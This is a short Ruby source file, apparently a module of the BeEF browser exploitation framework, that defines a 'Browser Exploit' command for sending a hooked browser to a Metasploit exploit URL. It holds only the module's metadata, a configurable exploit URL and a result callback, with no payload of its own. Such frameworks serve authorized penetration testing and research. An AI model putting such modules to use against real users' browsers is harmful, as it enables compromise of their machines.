module BeEF module Modules module Commands class Browser_exploit < BeEF::Command def initialize super({ 'Name' => 'Browser Exploit', 'Description' => %Q{ This module will launch a Metasploit exploit against the host }, 'Category' => 'Metasploit', 'Author' => ['sussurro'], 'Data' => [['name' => 'sploit_url', 'ui_label' => 'Exploit URL', 'value' =>'http://www.google.com']], 'File' => __FILE__, 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL } }) use 'beef.dom' use_template! end def callback save({'result' => @datastore['result']}) end end end end end